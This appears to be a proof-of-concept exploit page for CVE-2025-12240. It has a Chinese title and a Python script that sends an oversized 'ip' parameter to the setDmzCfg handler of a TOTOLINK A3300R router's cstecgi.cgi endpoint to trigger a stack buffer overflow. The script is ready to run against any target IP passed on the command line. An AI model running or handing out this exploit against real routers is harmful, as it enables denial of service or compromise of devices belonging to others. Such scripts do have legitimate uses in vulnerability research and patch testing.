CVE-2025-12240 TOTOLINK A3300R setDmzCfg缓冲区溢出漏洞

import requests import sys # CVE-2025-12240 PoC - TOTOLINK A3300R setDmzCfg Buffer Overflow # Target: TOTOLINK A3300R router with vulnerable firmware # Usage: python poc.py <target_ip> def exploit_buffer_overflow(target_ip): """ Exploit for CVE-2025-12240 The vulnerability exists in setDmzCfg function in /cgi-bin/cstecgi.cgi where the 'ip' parameter is not properly validated, leading to buffer overflow """ url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # Payload: Long string to trigger buffer overflow # The overflow overwrites the return address on the stack # Adjust the length based on actual buffer size overflow_payload = "A" * 1024 # Construct the PoC request data = { "topicurl": "setDmzCfg", "ip": overflow_payload } print(f"[*] Sending exploit payload to {target_ip}") print(f"[*] Payload length: {len(overflow_payload)}") try: response = requests.post(url, data=data, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[+] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: python {sys.argv[0]} <target_ip>") sys.exit(1) exploit_buffer_overflow(sys.argv[1])